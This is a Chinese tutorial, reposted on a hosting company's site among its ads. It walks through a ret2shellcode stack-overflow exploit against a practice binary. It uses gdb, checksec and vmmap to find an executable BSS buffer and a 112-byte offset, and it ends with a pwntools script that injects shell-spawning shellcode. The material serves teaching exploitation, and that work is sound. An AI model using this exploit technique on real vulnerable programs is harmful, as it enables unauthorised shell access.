緩沖區(qū)溢出-基本ROP-ret2shellcode-創(chuàng)新互聯(lián)

基礎(chǔ)知識(shí):

目前成都創(chuàng)新互聯(lián)公司已為上千多家的企業(yè)提供了網(wǎng)站建設(shè)、域名、網(wǎng)頁(yè)空間、成都網(wǎng)站托管、企業(yè)網(wǎng)站設(shè)計(jì)、曲江網(wǎng)站維護(hù)等服務(wù),公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長(zhǎng),共同發(fā)展。

ret2shellcode,即控制程序執(zhí)行 shellcode 代碼。shellcode 指的是用于完成某個(gè)功能的匯編代碼,常見(jiàn)的功能主要是獲取目標(biāo)系統(tǒng)的 shell。一般來(lái)說(shuō),shellcode 需要我們自己填充。這其實(shí)是另外一種典型的利用方法,即此時(shí)我們需要自己去填充一些可執(zhí)行的代碼。

在棧溢出的基礎(chǔ)上,要想執(zhí)行 shellcode,需要對(duì)應(yīng)的 binary 在運(yùn)行時(shí),shellcode 所在的區(qū)域具有可執(zhí)行權(quán)限。

第一步:分析程序代碼

使用gdb ./ret2shellcode加載程序,在命令行中輸入checksec來(lái)查看啟用的保護(hù)

緩沖區(qū)溢出-基本ROP-ret2shellcode

可以發(fā)現(xiàn)沒(méi)有啟用任何保護(hù)

我們使用disass main來(lái)看下main函數(shù)的匯編代碼

緩沖區(qū)溢出-基本ROP-ret2shellcode

這里對(duì)strncpy函數(shù)做分析,strncpy的api為:char *strncpy(char *dest,char *src,int size_t);第一個(gè)參數(shù)是接收的變量,第二個(gè)是從那里復(fù)制,第三個(gè)是復(fù)制多少。經(jīng)過(guò)分析第一個(gè)參數(shù)就是[esp],第二個(gè)參數(shù)是[esp+0x4],第三個(gè)參數(shù)是[esp+0x8],這樣我們知道最終要復(fù)制的內(nèi)容要放到[esp]中,而現(xiàn)在[esp]是0x804a080。

緩沖區(qū)溢出-基本ROP-ret2shellcode

經(jīng)過(guò)分析發(fā)現(xiàn)調(diào)用了gets函數(shù)和strncpy函數(shù),其中g(shù)ets函數(shù)存在溢出漏洞,但是該程序沒(méi)有使用system("/bin/sh"),我們可以嘗試讓程序跳轉(zhuǎn)到我們的shellcode中,也就是說(shuō)gets函數(shù)接收的不再是普通的字符串而是我們構(gòu)建好的shellcode。

我們看下0x804a080地址在哪里:

第一種方法:使用IDA

緩沖區(qū)溢出-基本ROP-ret2shellcode

第二種方法:在gdb里運(yùn)行readelf,或者在linux的shell里運(yùn)行readelf -S xxx查看bss段位置

緩沖區(qū)溢出-基本ROP-ret2shellcode

是一個(gè)BSS段,如果可以我們講shellcode放到bss段中,然后將函數(shù)的返回值改為0x804a080,現(xiàn)在還缺少一個(gè)條件,就是bss段0x804a080是否有執(zhí)行權(quán)限,我們斷點(diǎn)調(diào)試下:

執(zhí)行b main 進(jìn)行斷點(diǎn)

執(zhí)行r 運(yùn)行程序

執(zhí)行vmmap查看是否有執(zhí)行權(quán)限

緩沖區(qū)溢出-基本ROP-ret2shellcode

0x804a080的區(qū)間是在標(biāo)紅的0x0804a000到0x0804b000,有x執(zhí)行權(quán)限

第二步:查找程序溢出的偏移量

重新執(zhí)行g(shù)db ./ret2shellcode命令加載程序

執(zhí)行pattern create 200創(chuàng)建字符串

執(zhí)行 r運(yùn)行

輸入剛才創(chuàng)建的字符串

緩沖區(qū)溢出-基本ROP-ret2shellcode

得到0x41384141地址,我們使用pattern offset 0x41384141來(lái)查看偏移

緩沖區(qū)溢出-基本ROP-ret2shellcode

然后可以想到溢出代碼:

from pwn import *

p = process('./ret2shellcode')

shellcode = asm(shellcraft.sh())

buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112,'a') + p32(buf2_addr))

p.interactive()

#####

shellcode.ljust(112,'a')這段代碼就是要講shellcode不足112長(zhǎng)度的地方用a來(lái)填充。

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無(wú)理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國(guó)服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡(jiǎn)單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場(chǎng)景需求。

當(dāng)前文章:緩沖區(qū)溢出-基本ROP-ret2shellcode-創(chuàng)新互聯(lián)
網(wǎng)站鏈接:http://muchs.cn/article12/dddegc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站營(yíng)銷、搜索引擎優(yōu)化、外貿(mào)網(wǎng)站建設(shè)、響應(yīng)式網(wǎng)站、網(wǎng)站建設(shè)面包屑導(dǎo)航

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

搜索引擎優(yōu)化